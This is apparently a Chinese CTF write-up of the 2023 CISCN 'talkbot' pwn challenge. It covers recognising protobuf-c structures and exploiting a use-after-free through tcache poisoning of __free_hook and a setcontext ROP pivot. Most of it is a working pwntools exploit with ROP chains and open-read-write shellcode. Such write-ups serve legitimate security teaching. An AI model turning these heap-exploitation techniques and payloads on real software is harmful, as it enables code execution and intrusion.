2023 ciscn talkbot

protobuf

要如何识别出这个加密是一个 protobuf 呢?有如下几种办法

关键字符串/常数

搜索字符串,可以在 github 上找到仓库

actual_length_size == length_size_min + 1
rv->descriptor != NULL
28AAEEF9

标志性结构体

如果之前有经验的话,看到这个结构体就可以知道是 protobuf 了

protobuf 每一个字段都有一个 ProtobufCFieldDescriptor 结构体定义。可以从 protobuf-c.h 用 ida 导入头文件中的结构体,在 data 段找到对应的部分(把原本的东西 undefine 先)右键 structure 就可以设置结构体了。效果是这样:

image-20230715232530915

根据识别出来的结构体可以写出 protobuf 定义

syntax = "proto2";

message msg {
  required sint64 actionid = 1;
  required sint64 msgidx = 2;
  required sint64 msgsize = 3;
  required bytes msgcontent = 4;
}

finger

可以识别出来函数名,protobuf_message_check

复现

漏洞点在 delete 函数,直接用 tcache poisoning 改 freehook 就 ok

free(*((void **)&addr_list + a1));
result = &input[a1];
input[a1] = 0;

由于 ban 了 execve,所以用 freehook -> gadget -> setcontext -> rop_get_sc -> orw。

gadget 这么找:

ROPgadget --binary libc-2.31.so --only 'mov|call' | grep 'rdi' | grep 'rdx'     

0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] 

setcontext 长这样:

image-20230716152209450

故构造如下:

0x8 user_data_pointer # 当前chunk的存放数据的指针
0x18 gadget # 给 rdx 赋值的 gadget
0x20 setcontext+61 # 新版本里的 setcontext 用的寄存器是 rdx
0xa0 rsp # rop 链的位置
0xa8 rcx # 下一步要执行的地址

exp

from pwn import *
import try_pb2

elf_path = "./pwn"
libc_path = "./libc-2.31.so"
ip = "121.40.89.206"
port = "20111"
content = 1

context(os='linux',arch='amd64',log_level='debug')
os.system('tmux set mouse on')
if content == 1:
    context.terminal = ['tmux','splitw','-h']
    p = process(elf_path)
    # gdb.attach(p)
    # p = gdb.debug(elf_path)
    # pause()

else:
    p = remote(ip, port)

r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
def leak(name, addr): return log.success('{} = {:#x}'.format(name, addr))

# # ----------------------------------------------------------

def add(index,size,content):
    msginfo1 = try_pb2.msg()
    msginfo1.actionid = 1
    msginfo1.msgidx = index
    msginfo1.msgsize = size
    msginfo1.msgcontent = content
    payload = msginfo1.SerializeToString()
    sa(b'now: \n', payload)

def delete(index):
    msginfo2 = try_pb2.msg()
    msginfo2.actionid = 4
    msginfo2.msgidx = index
    msginfo2.msgsize = 0
    msginfo2.msgcontent = b''
    payload = msginfo2.SerializeToString()
    sa(b'now: \n', payload)

def edit(index,content):
    msginfo3 = try_pb2.msg()
    msginfo3.actionid = 2
    msginfo3.msgidx = index
    msginfo3.msgsize = 0
    msginfo3.msgcontent = content
    payload = msginfo3.SerializeToString()
    sa(b'now: \n', payload)

def show(index):
    msginfo1 = try_pb2.msg()
    msginfo1.actionid = 3
    msginfo1.msgidx = index
    msginfo1.msgsize = 0
    msginfo1.msgcontent = b''
    payload = msginfo1.SerializeToString()
    sa(b'now: \n', payload)

# libc_base
for i in range(10):
    add(i, 0xf0, b'a')
for i in range(8):
    delete(i)
show(7)
ru(b'\x7f\x00\x00')
malloc_hook = u64(rx(8)) -96 - 0x10
libc = ELF(libc_path)
libc_base = malloc_hook - libc.sym['__malloc_hook'] 
free_hook = libc_base + libc.sym['__free_hook']

# tcache poisoning
edit(6, p64(free_hook-0x18))
add(10, 0xf0, b'a')

# get_sc
rdi = 0x23b6a + libc_base
rdx = 0x142c92 + libc_base
rsi = 0x2601f + libc_base
addr = 0xb000 + libc_base
read = libc_base + libc.sym['read']
mprotect = libc_base + libc.sym['mprotect']

get_sc = flat(
addr,
rsi,
0x1000,
rdx,
7,
mprotect,
rdi,
0,
rsi,
addr,
rdx,
0x1000,
read,
addr
)

# setcontext
setcontext_61 = libc.sym['setcontext'] + 61 + libc_base
gadget = 0x151990 + libc_base

hack = flat(
    {
    0x8: free_hook - 0x18,
    0x18: gadget,
    0x20: setcontext_61,
    0x28: get_sc,
    0xa0: free_hook - 0x18 + 0x28,
    0xa8: rdi
    })

add(11, 0xf0, hack)
delete(11)
orw = b'hflagH\x89\xe71\xf6j\x02X\x0f\x05H\x89\xc7H\x89\xe6jZZ1\xc0\x0f\x05j\x01_H\x89\xe6j\x01X\x0f\x05'
sl(orw)

p.interactive()
posted @ 2023-07-16 16:37  giacomo捏  阅读(227)  评论(0编辑  收藏  举报